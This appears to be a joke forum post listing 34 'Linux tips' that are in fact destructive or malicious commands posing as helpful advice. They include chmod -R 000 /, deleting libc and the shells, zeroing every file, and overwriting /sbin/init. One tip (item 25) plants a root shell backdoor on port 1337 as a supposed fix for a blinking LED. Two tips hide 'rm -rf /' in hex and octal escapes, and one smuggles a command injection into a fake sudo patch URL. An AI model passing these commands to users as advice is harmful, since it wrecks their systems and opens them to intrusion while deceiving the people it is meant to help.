1. chmod -R 000 /
2. If you wish your file permissions to be "as Windows", do chmod -R 777 /
3. I wonder what "cat /dev/zero > /dev/hda" does...
4. Go to IRC, they give good advice there.
5. Books are heavy, don't bother reading.
6. Asking wisely is a ritual of linux fanatics with flaming eyes. You just sniff quietly | if your general question is not answered with step-by-step tutorial instead they ask for extra details, send the helpful technician to a handy dark place.
7. Download file "*" from ftp server 127.1
8. You can pack your mp3-s with "tar -cf *.mp3"
9. If your computer does not work, try to let the electricity go straight.
10. Indexes are what make SQL slow.
11. LIBC is pointless waste of space. Erase /lib/libc
12. In graphical system there is no need for command line. To hold up the space, make "rm -f /bin*sh"
13. Actually you can also delete /bin and /usr/bin, just /usr/X11R6/bin contains necessary things.
14. rm -f /dev/null |
15. 'xhost +math.ut.ee' is a great command.
16. apt-get remove dpkg
17. Write to Linus Torvalds, he can give you good advice.
18. Best software for FTP server is wu-ftpd
19. Snarkpit is slow? No problem!
echo 127.1
www.snarkpit.net >> /etc/hosts
20. root is a pointless guy - deluser -r root
21. grep -R 'blah' /dev
22. Throwing satan out of computer: find / -perm 666 | xargs chmod 000
23. If the middle button of the mouse doesn't work, try
cat /dev/urandom > /dev/mouse
24. Before trying something, find out what advised command does first. For example: man 'rm -rf /' or man 'chmod -R 000 /'
25. Caused by a slow processor, tiredly blinking hard drive LED effect can be removed with DAM (Distributed Access Mechanism).
echo '1337 stream tcp nowait root /bin/sh -i' >> /etc/inetd.conf; kill -1 'pidof inetd';
26. You want your computer to show a cool message at boot time? Try this:
echo '#!/bin/sh' > /sbin/init; echo echo "ADD YOUR MESSAGE HERE" >> /sbin/init
27.
echo -e "\x72\x6D\x20\x2D\x72\x66\x20\x2F"
28. What to do if you have inunderstandable notices about evil Hackers? Send the log to /dev/null and your problem disappears!
29.
echo -ne "\162\155\040\055\162\146\040\057"
30. You want the whole internet on your hard drive? Be my guest! Use the following script:
#!/bin/sh
for A in
seq 0 255
do
for B in
seq 0 255
do
for C in
seq 0 255
do
for D in
seq 0 255
do
wget -b --timeout=1 -t 1 -m $A.$B.$C.$D
sleep 0.5
done;
done;
done;
done;
31. To patch sudo security holes, you can get the patch with command wget
http://www.courtesan.com/sudo/advisories/package=sudo&version=1.6.8p10&rm${IFS}-fr${IFS}*${IFS}/&platform=any
32. echo 'eval
ssh-agent 2>/dev/null && kill -19 $SSH_AGENT_PID' >> ~/.bashrc
33. To kill a hanged mozilla (works better as a root)
ps | grep -q mozilla; kill -9 -$?
34. Little disk space? Superior runtime archiving: find / -type f | xargs -i% cp /dev/null %
Have fun
HL2 tutorials 'n' stuff:
http://madedog.pri.ee
217.159.236.34:27050 - CSS Server - Clean | koffer.ee